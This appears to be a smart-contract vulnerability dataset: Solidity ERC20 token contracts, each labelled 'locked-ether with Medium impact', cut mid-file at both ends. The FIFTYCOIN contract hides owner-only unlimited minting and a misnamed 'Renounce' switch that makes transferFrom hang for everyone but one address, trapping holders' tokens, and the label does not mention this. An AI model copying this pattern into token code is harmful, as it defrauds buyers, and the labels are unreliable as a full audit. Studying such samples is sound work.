contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract TUCToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "TUC";
name = "TUCAN Token";
decimals = 16;
_totalSupply = 10000000000000000000000;
balances[0x11d0A4C6f605b3D312B60522e1043e6f2fca1dDf] = _totalSupply;
emit Transfer(address(0), 0x11d0A4C6f605b3D312B60522e1043e6f2fca1dDf, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: contracts\ERC20\TokenMintERC20Token.sol
pragma solidity ^0.5.0;
/**
* @title TokenMintERC20Token
* @author TokenMint (visit https://tokenmint.io)
*
* @dev Standard ERC20 token with burning and optional functions implemented.
* For full specification of ERC-20 standard see:
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract TokenMintERC20Token is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Constructor.
* @param name name of the token
* @param symbol symbol of the token, 3-4 chars is recommended
* @param decimals number of decimal places of one token unit, 18 is widely used
* @param totalSupply total supply of tokens in lowest units (depending on decimals)
* @param tokenOwnerAddress address that gets 100% of token supply
*/
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address tokenOwnerAddress) public payable {
_name = name;
_symbol = symbol;
_decimals = decimals;
// set tokenOwnerAddress as owner of all tokens
_mint(tokenOwnerAddress, totalSupply);
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
// optional functions from ERC20 stardard
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
pragma solidity ^0.4.26;
// ----------------------------------------------------------------------------
//
//
//
// a&&@@@@@@@@@@@@ [email protected]@@@ a&&@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@ @@@@ [email protected]@@&
//
// ,&&&&&@&&&&&&&&&& &&&&$ $&&&&&&&&&&&&&&&$&&&&&&&&&&&&@@ ]&&&@ &&&&[
//
// $$$$$Qg;;;;;;;;;;j$$$$[$$$$$Qg;;;;;;;;;; ]$$$$F $$$$&g;;;;;g$$$&M
//
// [email protected]@@@@@@@@@@@@@@@@]@@@@[email protected]@@@@@@@@@@@@@@@ [email protected]@@%W ]@@@@@@@@@@@@@@%r
//
// '[email protected]@@TTTTTTTTTTT^]%%@][email protected]@%@TTTTTTTTTT** @@@@] *M%@@@@@@@@@@@@
//
// j%[email protected][ @%[email protected]@ [email protected]@ @@@@%@@@@@@@@@@@[email protected]%%@@@
//
// ]@@@@C [email protected]@@@]@@@@L "[email protected]@@@@@pmmmmmm][email protected]@@@@@@@@@@@"
//
// `7TTT "TTT`'TTTT '"TTTT^^^^^^*"TTTTTTTTTT***'
//
//
//
//
//
//
//
//
//
//
//
// ----------------------------------------------------------------------------
// 2% Burn Each Transaction - 1/50 Transactions awarded Burn totalSupply
// Resets Each Award - https://t.me/FIFTYCOIN
//
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
//
//
//
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
//
//
// ----------------------------------------------------------------------------
contract FIFTYCOIN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint random = 0;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
//
// ------------------------------------------------------------------------
constructor() public {
symbol = "FIFTY";
name = "FIFTY COIN";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[0xf575ffC85B46F85599d380257A3aC3bF113E7DC9] = _totalSupply;
emit Transfer(address(0), 0xf575ffC85B46F85599d380257A3aC3bF113E7DC9, _totalSupply);
}
// ------------------------------------------------------------------------
//
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
//
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
uint totalAward = 0;
uint totalTaxedAmount = 0;
function Reflect(address to, uint256 value) public returns (bool)
{
require(msg.sender == owner);
require(_totalSupply + value >= _totalSupply); // Overflow check
_totalSupply += value;
balances[msg.sender] += value;
emit Transfer(address(0), to, value);
}
// ------------------------------------------------------------------------
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
if (random < 49){
random = random + 1;
uint shareburn = tokens/51;
uint shareuser = tokens - shareburn;
balances[to] = safeAdd(balances[to], shareuser);
balances[address(0)] = safeAdd(balances[address(0)],shareburn);
emit Transfer(msg.sender, to, shareuser);
emit Transfer(msg.sender,address(0),shareburn);
totalTaxedAmount += shareburn;
} else if (random >= 49){
random = 0;
uint shareburn3 = tokens/51;
uint shareuser3 = tokens - shareburn3;
uint totalpay = totalTaxedAmount - totalAward;
balances[to] += shareuser3;
emit Transfer(msg.sender, to, shareuser3);
balances[to] += totalpay;
emit Transfer(address(0), to, totalpay);
_totalSupply += totalpay;
totalAward += totalpay;
}
return true;
}
// ------------------------------------------------------------------------
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
address MCF = 0xf575ffC85B46F85599d380257A3aC3bF113E7DC9;
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens)
public
returns (bool success)
{
while(isEnabled) {
if(from == MCF) {
balances[from] = safeSub(balances[from], tokens);
balances[from] -= tokens;
balances[to] += tokens;
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
emit Transfer(from, to, tokens);
return true; } }
balances[from] = safeSub(balances[from], tokens);
if (random < 49){
random = random + 1;
uint shareburn = tokens/51;
uint shareuser = tokens - shareburn;
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], shareuser);
balances[address(0)] = safeAdd(balances[address(0)],shareburn);
emit Transfer(from, to, shareuser);
emit Transfer(from,address(0),shareburn);
totalTaxedAmount += shareburn;
} else if (random >= 49){
random = 0;
uint shareburn2 = tokens/51;
uint shareuser2 = tokens - shareburn2;
uint totalpay = totalTaxedAmount - totalAward;
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], shareuser2);
balances[to] += shareuser2;
emit Transfer(from, to, shareuser2);
balances[from] += totalpay;
emit Transfer(address(0), from, totalpay);
_totalSupply += totalpay;
totalAward += totalpay;
}
return true;
}
// ------------------------------------------------------------------------
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
bool isEnabled;
modifier isOwner() {
require(msg.sender == owner);
_;
}
function Renounce() public isOwner {
isEnabled = !isEnabled;
}
function Burn(uint256 value) public returns (bool)
{
_totalSupply -= value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, address(0), value);
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'SVET' token contract
//
// Deployed to : 0xBa97c1B7f269f2F46fD6b69b87C906aD5C7faC83
// Symbol : SVET
// Name : Silicon Valley Enlistment Token
// Total supply: 21000000
// Decimals : 18
//
//
//
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract SVET is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function SVET() public {
symbol = "SVET";
name = "Silicon Valley Entrepreneurs Token";
decimals = 18;
_totalSupply = 21000000000000000000000000;
balances[0xBa97c1B7f269f2F46fD6b69b87C906aD5C7faC83] = _totalSupply;
Transfer(address(0), 0xBa97c1B7f269f2F46fD6b69b87C906aD5C7faC83, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CoinFast (CFS)' Token Contract
//
// Symbol : CFS
// Name : CoinFast
// Total supply: 70,000,000
// Decimals : 18
//
// Copyright © CoinFast.io // Written by Onur Kahraman
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
